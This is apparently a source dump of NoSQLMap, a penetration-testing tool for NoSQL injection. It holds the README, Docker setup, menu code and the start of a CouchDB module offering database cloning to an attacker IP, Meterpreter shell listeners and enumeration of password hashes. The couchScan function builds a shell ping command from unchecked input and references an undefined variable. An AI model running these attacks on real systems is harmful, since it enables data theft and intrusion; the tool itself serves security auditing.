OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . -------------------------------------------------------------------------------- /ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## What's the problem (or question)? 2 | 3 | 4 | 5 | ## Do you have an idea for a solution? 6 | 7 | 8 | 9 | ## How can we reproduce the issue? 10 | 11 | 1. 12 | 2. 13 | 3. 14 | 4. 15 | 16 | ## What are the running context details? 17 | 18 | * Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`): 19 | * Client OS (e.g. `Microsoft Windows 10`) 20 | * Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): 21 | * Target DBMS (e.g. `Mongo`): 22 | * Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`): 23 | * Results of manual target assessment 24 | * Relevant console output (if any): 25 | * Exception traceback (if any): 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # NoSQLMap 2 | 3 | [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) 4 | [![License](https://img.shields.io/badge/license-GPLv3-red.svg)](https://github.com/codingo/NoSQLMap/blob/master/COPYING) 5 | [![Twitter](https://img.shields.io/badge/twitter-@codingo__-blue.svg)](https://twitter.com/codingo_) 6 | 7 | NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL in order to disclose or clone data from the database. 8 | 9 | Originally authored by [@tcsstool](https://twitter.com/tcstoolHax0r) and now maintained by [@codingo\_](https://twitter.com/codingo_) NoSQLMap is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org). Its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). 10 | 11 | ## NoSQLMap MongoDB Management Attack Demo. 12 | 13 | NoSQLMap MongoDB Management Attack Demo 14 | 15 | ## Screenshots 16 | 17 | ![NoSQLMap](https://github.com/codingo/NoSQLMap/blob/master/screenshots/NoSQLMap-v0-5.jpg) 18 | 19 | # Summary 20 | 21 | ## What is NoSQL? 22 | 23 | A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages. 24 | 25 | ## DBMS Support 26 | 27 | Presently the tool's exploits are focused around MongoDB, and CouchDB but additional support for other NoSQL based platforms such as Redis, and Cassandra are planned in future releases. 28 | 29 | ## Requirements 30 | 31 | On a Debian or Red Hat based system, the setup.sh script may be run as root to automate the installation of NoSQLMap's dependencies. 32 | 33 | Varies based on features used: 34 | 35 | - Metasploit Framework, 36 | - Python with PyMongo, 37 | - httplib2, 38 | - and urllib available. 39 | - A local, default MongoDB instance for cloning databases to. Check [here](http://docs.mongodb.org/manual/installation/) for installation instructions. 40 | 41 | There are some various other libraries required that a normal Python installation should have readily available. Your milage may vary, check the script. 42 | 43 | ## Setup 44 | 45 | ``` 46 | python setup.py install 47 | ``` 48 | 49 | Alternatively you can build a Docker image by changing to the docker directory and entering: 50 | 51 | ``` 52 | docker build -t nosqlmap . 53 | ``` 54 | 55 | or you can use Docker-compose to run Nosqlmap: 56 | 57 | ``` 58 | docker-compose build 59 | docker-compose run nosqlmap 60 | ``` 61 | 62 | ## Usage Instructions 63 | 64 | Start with 65 | 66 | ``` 67 | python NoSQLMap 68 | ``` 69 | 70 | NoSQLMap uses a menu based system for building attacks. Upon starting NoSQLMap you are presented with with the main menu: 71 | 72 | ``` 73 | 1-Set options (do this first) 74 | 2-NoSQL DB Access Attacks 75 | 3-NoSQL Web App attacks 76 | 4-Scan for Anonymous MongoDB Access 77 | x-Exit 78 | ``` 79 | 80 | Explanation of options: 81 | 82 | ``` 83 | 1. Set target host/IP-The target web server (i.e. www.google.com) or MongoDB server you want to attack. 84 | 2. Set web app port-TCP port for the web application if a web application is the target. 85 | 3. Set URI Path-The portion of the URI containing the page name and any parameters but NOT the host name (e.g. /app/acct.php?acctid=102). 86 | 4. Set HTTP Request Method (GET/POST)-Set the request method to a GET or POST; Presently only GET is implemented but working on implementing POST requests exported from Burp. 87 | 5. Set my local Mongo/Shell IP-Set this option if attacking a MongoDB instance directly to the IP of a target Mongo installation to clone victim databases to or open Meterpreter shells to. 88 | 6. Set shell listener port-If opening Meterpreter shells, specify the port. 89 | 7. Load options file-Load a previously saved set of settings for 1-6. 90 | 8. Load options from saved Burp request-Parse a request saved from Burp Suite and populate the web application options. 91 | 9. Save options file-Save settings 1-6 for future use. 92 | x. Back to main menu-Use this once the options are set to start your attacks. 93 | ``` 94 | 95 | Once options are set head back to the main menu and select DB access attacks or web app attacks as appropriate for whether you are attacking a NoSQL management port or web application. The rest of the tool is "wizard" based and fairly self explanatory, but send emails to codingo@protonmail.com or find me on Twitter [@codingo\_](https://twitter.com/codingo_) if you have any questions or suggestions. 96 | 97 | ## Vulnerable Applications 98 | 99 | This repo also includes an intentionally vulnerable web application to test NoSQLMap with. To run this application, you need Docker installed. Then you can run the following commands from the /vuln_apps directory. 100 | 101 | ``` 102 | docker-compose build && docker-compose up 103 | ``` 104 | 105 | Once that is complete, you should be able to access the vulnerable application by visiting: https://127.0.0.1/index.html 106 | -------------------------------------------------------------------------------- /TODO: -------------------------------------------------------------------------------- 1 | '''TODO: 2 | A list: 3 | - create options.py with options to be set. Options stored in a class 4 | - separate requests, should only give: 5 | 1. args (could be query path in a get, parameters in a POST) 6 | 2. options (where we find method, uri, port etc) 7 | 3. header (in future we will implement injection in a header) 8 | - separate metasploit module 9 | - create exceptions.py 10 | 11 | B list: 12 | - accept manipulation of parameters(ex: we want to base64encode the request before sending it) 13 | - ??? 14 | ''' 15 | -------------------------------------------------------------------------------- /docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:2.7-alpine 2 | 3 | RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/main' >> /etc/apk/repositories 4 | RUN echo 'http://dl-cdn.alpinelinux.org/alpine/v3.9/community' >> /etc/apk/repositories 5 | RUN apk update && apk add mongodb git 6 | 7 | RUN git clone https://github.com/codingo/NoSQLMap.git /root/NoSqlMap 8 | 9 | WORKDIR /root/NoSqlMap 10 | 11 | RUN python setup.py install 12 | 13 | RUN python -m pip install requests 'certifi<=2020.4.5.1' 14 | 15 | COPY entrypoint.sh /tmp/entrypoint.sh 16 | RUN chmod +x /tmp/entrypoint.sh 17 | 18 | ENTRYPOINT ["/tmp/entrypoint.sh"] 19 | -------------------------------------------------------------------------------- /docker/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | services: 3 | nosqlmap: 4 | image: nosqlmap:latest 5 | build: 6 | context: . 7 | -------------------------------------------------------------------------------- /docker/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/ash 2 | python nosqlmap.py 3 | -------------------------------------------------------------------------------- /docs/_config.yml: -------------------------------------------------------------------------------- 1 | theme: jekyll-theme-cayman -------------------------------------------------------------------------------- /docs/nop: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /exception.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team 3 | # See the file 'doc/COPYING' for copying permission 4 | 5 | class NoSQLMapException(Exception): 6 | pass 7 | -------------------------------------------------------------------------------- /nosqlmap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team 4 | # See the file 'doc/COPYING' for copying permission 5 | 6 | from exception import NoSQLMapException 7 | import sys 8 | import nsmcouch 9 | import nsmmongo 10 | import nsmscan 11 | import nsmweb 12 | import os 13 | import signal 14 | import ast 15 | 16 | import argparse 17 | 18 | 19 | def main(args): 20 | signal.signal(signal.SIGINT, signal_handler) 21 | global optionSet 22 | # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. 23 | optionSet = [False]*9 24 | global yes_tag 25 | global no_tag 26 | yes_tag = ['y', 'Y'] 27 | no_tag = ['n', 'N'] 28 | global victim 29 | global webPort 30 | global uri 31 | global httpMethod 32 | global platform 33 | global https 34 | global myIP 35 | global myPort 36 | global verb 37 | global scanNeedCreds 38 | global dbPort 39 | # Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) 40 | platform = "MongoDB" 41 | dbPort = 27017 42 | myIP = "Not Set" 43 | myPort = "Not Set" 44 | if args.attack: 45 | attack(args) 46 | else: 47 | mainMenu() 48 | 49 | def mainMenu(): 50 | global platform 51 | global victim 52 | global dbPort 53 | global myIP 54 | global webPort 55 | global uri 56 | global httpMethod 57 | global https 58 | global verb 59 | global requestHeaders 60 | global postData 61 | 62 | mmSelect = True 63 | while mmSelect: 64 | os.system('clear') 65 | print " _ _ ___ ___ _ __ __ " 66 | print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " 67 | print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\" 68 | print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/") 69 | print(" v0.7 codingo@protonmail.com |_| ") 70 | print "\n" 71 | print "1-Set options" 72 | print "2-NoSQL DB Access Attacks" 73 | print "3-NoSQL Web App attacks" 74 | print "4-Scan for Anonymous " + platform + " Access" 75 | print "5-Change Platform (Current: " + platform + ")" 76 | print "x-Exit" 77 | 78 | select = raw_input("Select an option: ") 79 | 80 | if select == "1": 81 | options() 82 | 83 | elif select == "2": 84 | if optionSet[0] == True and optionSet[4] == True: 85 | if platform == "MongoDB": 86 | nsmmongo.netAttacks(victim, dbPort, myIP, myPort) 87 | 88 | elif platform == "CouchDB": 89 | nsmcouch.netAttacks(victim, dbPort, myIP) 90 | 91 | # Check minimum required options 92 | else: 93 | raw_input("Target not set! Check options. Press enter to continue...") 94 | 95 | 96 | elif select == "3": 97 | # Check minimum required options 98 | if (optionSet[0] == True) and (optionSet[2] == True): 99 | if httpMethod == "GET": 100 | nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) 101 | 102 | elif httpMethod == "POST": 103 | nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) 104 | 105 | else: 106 | raw_input("Options not set! Check host and URI path. Press enter to continue...") 107 | 108 | 109 | elif select == "4": 110 | scanResult = nsmscan.massScan(platform) 111 | 112 | if scanResult != None: 113 | optionSet[0] = True 114 | victim = scanResult[1] 115 | 116 | elif select == "5": 117 | platSel() 118 | 119 | elif select == "x": 120 | sys.exit() 121 | 122 | else: 123 | raw_input("Invalid selection. Press enter to continue.") 124 | 125 | def build_request_headers(reqHeadersIn): 126 | requestHeaders = {} 127 | reqHeadersArray = reqHeadersIn.split(",") 128 | headerNames = reqHeadersArray[0::2] 129 | headerValues = reqHeadersArray[1::2] 130 | requestHeaders = dict(zip(headerNames, headerValues)) 131 | return requestHeaders 132 | 133 | def build_post_data(postDataIn): 134 | pdArray = postDataIn.split(",") 135 | paramNames = pdArray[0::2] 136 | paramValues = pdArray[1::2] 137 | postData = dict(zip(paramNames,paramValues)) 138 | return postData 139 | 140 | def attack(args): 141 | platform = args.platform 142 | victim = args.victim 143 | webPort = args.webPort 144 | dbPort = args.dbPort 145 | myIP = args.myIP 146 | myPort = args.myPort 147 | uri = args.uri 148 | https = args.https 149 | verb = args.verb 150 | httpMethod = args.httpMethod 151 | requestHeaders = build_request_headers(args.requestHeaders) 152 | postData = build_post_data(args.postData) 153 | 154 | if args.attack == 1: 155 | if platform == "MongoDB": 156 | nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) 157 | elif platform == "CouchDB": 158 | nsmcouch.netAttacks(victim, dbPort, myIP, args) 159 | elif args.attack == 2: 160 | if httpMethod == "GET": 161 | nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders, args) 162 | elif httpMethod == "POST": 163 | nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args) 164 | elif args.attack == 3: 165 | scanResult = nsmscan.massScan(platform) 166 | if scanResult != None: 167 | optionSet[0] = True 168 | victim = scanResult[1] 169 | 170 | def platSel(): 171 | global platform 172 | global dbPort 173 | select = True 174 | print "\n" 175 | 176 | while select: 177 | print "1-MongoDB" 178 | print "2-CouchDB" 179 | pSel = raw_input("Select a platform: ") 180 | 181 | if pSel == "1": 182 | platform = "MongoDB" 183 | dbPort = 27017 184 | return 185 | 186 | elif pSel == "2": 187 | platform = "CouchDB" 188 | dbPort = 5984 189 | return 190 | else: 191 | raw_input("Invalid selection. Press enter to continue.") 192 | 193 | 194 | def options(): 195 | global victim 196 | global webPort 197 | global uri 198 | global https 199 | global platform 200 | global httpMethod 201 | global postData 202 | global myIP 203 | global myPort 204 | global verb 205 | global mmSelect 206 | global dbPort 207 | global requestHeaders 208 | requestHeaders = {} 209 | optSelect = True 210 | 211 | # Set default value if needed 212 | if optionSet[0] == False: 213 | global victim 214 | victim = "Not Set" 215 | if optionSet[1] == False: 216 | global webPort 217 | webPort = 80 218 | optionSet[1] = True 219 | if optionSet[2] == False: 220 | global uri 221 | uri = "Not Set" 222 | if optionSet[3] == False: 223 | global httpMethod 224 | httpMethod = "GET" 225 | if optionSet[4] == False: 226 | global myIP 227 | myIP = "Not Set" 228 | if optionSet[5] == False: 229 | global myPort 230 | myPort = "Not Set" 231 | if optionSet[6] == False: 232 | verb = "OFF" 233 | optSelect = True 234 | if optionSet[8] == False: 235 | https = "OFF" 236 | optSelect = True 237 | 238 | while optSelect: 239 | print "\n\n" 240 | print "Options" 241 | print "1-Set target host/IP (Current: " + str(victim) + ")" 242 | print "2-Set web app port (Current: " + str(webPort) + ")" 243 | print "3-Set App Path (Current: " + str(uri) + ")" 244 | print "4-Toggle HTTPS (Current: " + str(https) + ")" 245 | print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")" 246 | print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")" 247 | print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")" 248 | print "8-Set shell listener port (Current: " + str(myPort) + ")" 249 | print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")" 250 | print "0-Load options file" 251 | print "a-Load options from saved Burp request" 252 | print "b-Save options file" 253 | print "h-Set headers" 254 | print "x-Back to main menu" 255 | 256 | select = raw_input("Select an option: ") 257 | 258 | if select == "1": 259 | # Unset the boolean if it's set since we're setting it again. 260 | optionSet[0] = False 261 | ipLen = False 262 | 263 | while optionSet[0] == False: 264 | goodDigits = True 265 | notDNS = True 266 | victim = raw_input("Enter the host IP/DNS name: ") 267 | # make sure we got a valid IP 268 | octets = victim.split(".") 269 | 270 | if len(octets) != 4: 271 | # Treat this as a DNS name 272 | optionSet[0] = True 273 | notDNS = False 274 | else: 275 | # If len(octets) != 4 is executed the block of code below is also run, but it is not necessary 276 | # If the format of the IP is good, check and make sure the octets are all within acceptable ranges. 277 | for item in octets: 278 | try: 279 | if int(item) < 0 or int(item) > 255: 280 | print "Bad octet in IP address." 281 | goodDigits = False 282 | 283 | except NoSQLMapException("[!] Must be a DNS name."): 284 | #Must be a DNS name (for now) 285 | 286 | notDNS = False 287 | 288 | #If everything checks out set the IP and break the loop 289 | if goodDigits == True or notDNS == False: 290 | print "\nTarget set to " + victim + "\n" 291 | optionSet[0] = True 292 | 293 | elif select == "2": 294 | webPort = raw_input("Enter the HTTP port for web apps: ") 295 | print "\nHTTP port set to " + webPort + "\n" 296 | optionSet[1] = True 297 | 298 | elif select == "3": 299 | uri = raw_input("Enter URI Path (Press enter for no URI): ") 300 | #Ensuring the URI path always starts with / and accepts null values 301 | if len(uri) == 0: 302 | uri = "Not Set" 303 | print "\nURI Not Set." "\n" 304 | optionSet[2] = False 305 | 306 | elif uri[0] != "/": 307 | uri = "/" + uri 308 | print "\nURI Path set to " + uri + "\n" 309 | optionSet[2] = True 310 | 311 | elif select == "4": 312 | if https == "OFF": 313 | print "HTTPS enabled." 314 | https = "ON" 315 | optionSet[8] = True 316 | 317 | elif https == "ON": 318 | print "HTTPS disabled." 319 | https = "OFF" 320 | optionSet[8] = True 321 | 322 | 323 | elif select == "5": 324 | dbPort = int(raw_input("Enter target MongoDB port: ")) 325 | print "\nTarget Mongo Port set to " + str(dbPort) + "\n" 326 | optionSet[7] = True 327 | 328 | elif select == "6": 329 | httpMethod = True 330 | while httpMethod == True: 331 | 332 | print "1-Send request as a GET" 333 | print "2-Send request as a POST" 334 | httpMethod = raw_input("Select an option: ") 335 | 336 | if httpMethod == "1": 337 | httpMethod = "GET" 338 | print "GET request set" 339 | requestHeaders = {} 340 | optionSet[3] = True 341 | 342 | elif httpMethod == "2": 343 | print "POST request set" 344 | optionSet[3] = True 345 | postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") 346 | postData = build_post_data(postDataIn) 347 | httpMethod = "POST" 348 | 349 | else: 350 | print "Invalid selection" 351 | 352 | elif select == "7": 353 | # Unset the setting boolean since we're setting it again. 354 | optionSet[4] = False 355 | 356 | while optionSet[4] == False: 357 | goodLen = False 358 | goodDigits = True 359 | # Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug 360 | # For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False 361 | # Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables 362 | myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ") 363 | # make sure we got a valid IP 364 | octets = myIP.split(".") 365 | # If there aren't 4 octets, toss an error. 366 | if len(octets) != 4: 367 | print "Invalid IP length." 368 | 369 | else: 370 | goodLen = True 371 | 372 | if goodLen == True: 373 | # If the format of the IP is good, check and make sure the octets are all within acceptable ranges. 374 | for item in octets: 375 | if int(item) < 0 or int(item) > 255: 376 | print "Bad octet in IP address." 377 | goodDigits = False 378 | 379 | # else: 380 | # goodDigits = True 381 | 382 | # Default value of goodDigits should be set to True 383 | # for example 12.12345.12.12 384 | 385 | 386 | # If everything checks out set the IP and break the loop 387 | if goodLen == True and goodDigits == True: 388 | print "\nShell/DB listener set to " + myIP + "\n" 389 | optionSet[4] = True 390 | 391 | elif select == "8": 392 | myPort = raw_input("Enter TCP listener for shells: ") 393 | print "Shell TCP listener set to " + myPort + "\n" 394 | optionSet[5] = True 395 | 396 | elif select == "9": 397 | if verb == "OFF": 398 | print "Verbose output enabled." 399 | verb = "ON" 400 | optionSet[6] = True 401 | 402 | elif verb == "ON": 403 | print "Verbose output disabled." 404 | verb = "OFF" 405 | optionSet[6] = True 406 | 407 | elif select == "0": 408 | loadPath = raw_input("Enter file name to load: ") 409 | csvOpt = [] 410 | try: 411 | with open(loadPath,"r") as fo: 412 | for line in fo: 413 | csvOpt.append(line.rstrip()) 414 | except IOError as e: 415 | print "I/O error({0}): {1}".format(e.errno, e.strerror) 416 | raw_input("error reading file. Press enter to continue...") 417 | return 418 | 419 | optList = csvOpt[0].split(",") 420 | victim = optList[0] 421 | webPort = optList[1] 422 | uri = optList[2] 423 | httpMethod = optList[3] 424 | myIP = optList[4] 425 | myPort = optList[5] 426 | verb = optList[6] 427 | https = optList[7] 428 | 429 | # saved headers position will depend of the request verb 430 | headersPos= 1 431 | 432 | if httpMethod == "POST": 433 | postData = ast.literal_eval(csvOpt[1]) 434 | headersPos = 2 435 | 436 | requestHeaders = ast.literal_eval(csvOpt[headersPos]) 437 | 438 | # Set option checking array based on what was loaded 439 | x = 0 440 | for item in optList: 441 | if item != "Not Set": 442 | optionSet[x] = True 443 | x += 1 444 | 445 | elif select == "a": 446 | loadPath = raw_input("Enter path to Burp request file: ") 447 | reqData = [] 448 | try: 449 | with open(loadPath,"r") as fo: 450 | for line in fo: 451 | reqData.append(line.rstrip()) 452 | except IOError as e: 453 | print "I/O error({0}): {1}".format(e.errno, e.strerror) 454 | raw_input("error reading file. Press enter to continue...") 455 | return 456 | 457 | methodPath = reqData[0].split(" ") 458 | 459 | if methodPath[0] == "GET": 460 | httpMethod = "GET" 461 | 462 | elif methodPath[0] == "POST": 463 | paramNames = [] 464 | paramValues = [] 465 | httpMethod = "POST" 466 | postData = reqData[len(reqData)-1] 467 | # split the POST parameters up into individual items 468 | paramsNvalues = postData.split("&") 469 | 470 | for item in paramsNvalues: 471 | tempList = item.split("=") 472 | paramNames.append(tempList[0]) 473 | paramValues.append(tempList[1]) 474 | 475 | postData = dict(zip(paramNames,paramValues)) 476 | 477 | else: 478 | print "unsupported method in request header." 479 | 480 | # load the HTTP headers 481 | for line in reqData[1:]: 482 | print(line) 483 | if not line.strip(): break 484 | header = line.split(": "); 485 | requestHeaders[header[0]] = header[1].strip() 486 | 487 | victim = reqData[1].split( " ")[1] 488 | optionSet[0] = True 489 | uri = methodPath[1] 490 | optionSet[2] = True 491 | 492 | elif select == "b": 493 | savePath = raw_input("Enter file name to save: ") 494 | try: 495 | with open(savePath, "wb") as fo: 496 | fo.write(str(victim) + "," + str(webPort) + "," + str(uri) + "," + str(httpMethod) + "," + str(myIP) + "," + str(myPort) + "," + verb + "," + https) 497 | 498 | if httpMethod == "POST": 499 | fo.write(",\n"+ str(postData)) 500 | fo.write(",\n" + str(requestHeaders) ) 501 | print "Options file saved!" 502 | except IOError: 503 | print "Couldn't save options file." 504 | 505 | elif select == "h": 506 | reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") 507 | requestHeaders = build_request_headers(reqHeadersIn) 508 | 509 | elif select == "x": 510 | return 511 | 512 | def build_parser(): 513 | parser = argparse.ArgumentParser() 514 | parser.add_argument("--attack", help="1 = NoSQL DB Access Attacks, 2 = NoSQL Web App attacks, 3 - Scan for Anonymous platform Access", type=int, choices=[1,2,3]) 515 | parser.add_argument("--platform", help="Platform to attack", choices=["MongoDB", "CouchDB"], default="MongoDB") 516 | parser.add_argument("--victim", help="Set target host/IP (ex: localhost or 127.0.0.1)") 517 | parser.add_argument("--dbPort", help="Set shell listener port", type=int) 518 | parser.add_argument("--myIP",help="Set my local platform/Shell IP") 519 | parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) 520 | parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) 521 | parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") 522 | parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") 523 | parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") 524 | parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") 525 | parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") 526 | parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") 527 | 528 | modules = [nsmcouch, nsmmongo, nsmscan, nsmweb] 529 | for module in modules: 530 | group = parser.add_argument_group(module.__name__) 531 | for arg in module.args(): 532 | group.add_argument(arg[0], help=arg[1]) 533 | 534 | return parser 535 | 536 | def signal_handler(signal, frame): 537 | print "\n" 538 | print "CTRL+C detected. Exiting." 539 | sys.exit() 540 | 541 | if __name__ == '__main__': 542 | parser = build_parser() 543 | args = parser.parse_args() 544 | main(args) 545 | -------------------------------------------------------------------------------- /nsmcouch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team 3 | # See the file 'doc/COPYING' for copying permission 4 | 5 | from exception import NoSQLMapException 6 | import couchdb 7 | import urllib 8 | import requests 9 | import sys 10 | import unittest 11 | from pbkdf2 import PBKDF2 12 | from binascii import a2b_hex 13 | import string 14 | import itertools 15 | from hashlib import sha1 16 | import os 17 | 18 | 19 | global dbList 20 | global yes_tag 21 | global no_tag 22 | yes_tag = ['y', 'Y'] 23 | no_tag = ['n', 'N'] 24 | 25 | def args(): 26 | return [] 27 | 28 | def couchScan(target,port,pingIt): 29 | if pingIt == True: 30 | test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") 31 | 32 | if test == 0: 33 | try: 34 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") 35 | 36 | try: 37 | dbVer = conn.version() 38 | return [0,dbVer] 39 | 40 | except couchdb.http.Unauthorized: 41 | return [1,None] 42 | 43 | except NoSQLMapException: 44 | return [2,None] 45 | 46 | except NoSQLMapException: 47 | return [3,None] 48 | 49 | else: 50 | return [4,None] 51 | 52 | else: 53 | try: 54 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) +"/") 55 | 56 | try: 57 | dbVer = conn.version() 58 | return [0,dbVer] 59 | 60 | except couchdb.http.Unauthorized: 61 | return [1,None] 62 | 63 | except NoSQLMapException: 64 | return [2,None] 65 | 66 | except NoSQLMapException: 67 | return [3,None] 68 | 69 | def netAttacks(target,port, myIP, args = None): 70 | print "DB Access attacks (CouchDB)" 71 | print "======================" 72 | mgtOpen = False 73 | webOpen = False 74 | mgtSelect = True 75 | # This is a global for future use with other modules; may change 76 | dbList = [] 77 | print "Checking to see if credentials are needed..." 78 | needCreds = couchScan(target,port,False) 79 | 80 | if needCreds[0] == 0: 81 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") 82 | print "Successful access with no credentials!" 83 | mgtOpen = True 84 | 85 | elif needCreds[0] == 1: 86 | print "Login required!" 87 | srvUser = raw_input("Enter server username: ") 88 | srvPass = raw_input("Enter server password: ") 89 | uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":" + str(port) + "/" 90 | 91 | try: 92 | conn = couchdb.Server(uri) 93 | print "CouchDB authenticated on " + target + ":" + str(port) 94 | mgtOpen = True 95 | 96 | except NoSQLMapException: 97 | raw_input("Failed to authenticate. Press enter to continue...") 98 | return 99 | 100 | elif needCreds[0] == 2: 101 | conn = couchdb.Server("http://" + str(target) + ":" + str(port) + "/") 102 | print "Access check failure. Testing will continue but will be unreliable." 103 | mgtOpen = True 104 | 105 | elif needCreds[0] == 3: 106 | raw_input ("Couldn't connect to CouchDB server. Press enter to return to the main menu.") 107 | return 108 | 109 | 110 | mgtUrl = "http://" + target + ":" + str(port) + "/_utils" 111 | # Future rev: Add web management interface parsing 112 | try: 113 | mgtRespCode = urllib.urlopen(mgtUrl).getcode() 114 | if mgtRespCode == 200: 115 | print "Sofa web management open at " + mgtUrl + ". No authentication required!" 116 | 117 | except NoSQLMapException: 118 | print "Sofa web management closed or requires authentication." 119 | 120 | if mgtOpen == True: 121 | while mgtSelect: 122 | print "\n" 123 | print "1-Get Server Version and Platform" 124 | print "2-Enumerate Databases/Users/Password Hashes" 125 | print "3-Check for Attachments (still under development)" 126 | print "4-Clone a Database" 127 | print "5-Return to Main Menu" 128 | attack = raw_input("Select an attack: ") 129 | 130 | if attack == "1": 131 | print "\n" 132 | getPlatInfo(conn,target) 133 | 134 | if attack == "2": 135 | print "\n" 136 | 